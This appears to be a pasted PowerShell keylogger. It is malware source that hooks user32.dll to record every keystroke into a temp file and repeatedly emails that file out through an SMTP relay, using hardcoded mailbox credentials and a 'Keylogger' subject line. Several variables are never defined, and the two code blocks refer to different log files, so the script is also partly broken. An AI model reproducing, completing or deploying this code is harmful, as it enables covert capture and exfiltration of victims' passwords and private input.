· 6 years ago · Mar 21, 2020, 02:14 PM
1$SMTPServer = 'smtp.sendgrid.net'
2$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 465)
3$SMTPInfo.EnableSsl = $true
4$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('anonymoussecretanonymous12345@gmail.com', 'secretanonymoussecret12345')
5$ReportEmail = New-Object System.Net.Mail.MailMessage
6$ReportEmail.From = 'anonymoussecretanonymous12345@gmail.com'
7$ReportEmail.To.Add('anonymoussecretanonymous12345@gmail.com')
8$ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
9while(1){$ReportEmail.Attachments.Add("$ENV:temp\key.txt");$SMTPInfo.Send($ReportEmail);sleep 60}
10
11
12
13
14
15
16
17
18#requires -Version 2
19function Start-KeyLogger($Path="$env:temp\keylogger.txt")
20{
21 # Signatures for API Calls
22 $signatures = @'
23[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
24public static extern short GetAsyncKeyState(int virtualKeyCode);
25[DllImport("user32.dll", CharSet=CharSet.Auto)]
26public static extern int GetKeyboardState(byte[] keystate);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int MapVirtualKey(uint uCode, int uMapType);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
31'@
32
33 # load signatures and make members available
34 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
35
36 # create output file
37 $null = New-Item -Path $Path -ItemType File -Force
38
39 try
40 {
41
42 # create endless loop. When user presses CTRL+C, finally-block
43 # executes and shows the collected key presses
44 $Runner = 0
45 while ($TimesToRun -gt $Runner) {
46 $TimeStart = Get-Date
47 $TimeEnd = $timeStart.addminutes($RunTimeP)
48 while ($TimeEnd -gt $TimeNow) {
49 Start-Sleep -Milliseconds 40
50
51 # scan all ASCII codes above 8
52 for ($ascii = 9; $ascii -le 254; $ascii++) {
53 # get current key state
54 $state = $API::GetAsyncKeyState($ascii)
55
56 # is key pressed?
57 if ($state -eq -32767) {
58 $null = [console]::CapsLock
59
60 # translate scan code to real code
61 $virtualKey = $API::MapVirtualKey($ascii, 3)
62
63 # get keyboard state for virtual keys
64 $kbstate = New-Object Byte[] 256
65 $checkkbstate = $API::GetKeyboardState($kbstate)
66
67 # prepare a StringBuilder to receive input key
68 $mychar = New-Object -TypeName System.Text.StringBuilder
69
70 # translate virtual key
71 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
72
73 if ($success)
74 {
75 # add key to logger file
76 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
77 }
78 }
79 }
80 $TimeNow = Get-Date
81 }
82 $Runner++
83 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
84 Remove-Item -Path $Path -force
85 }
86 }
87 finally
88 {
89 # open logger file in Notepad
90 exit 1
91 }
92}
93
94# records all key presses until script is aborted by pressing CTRL+C
95# will then open the file with collected key codes
96Start-KeyLogger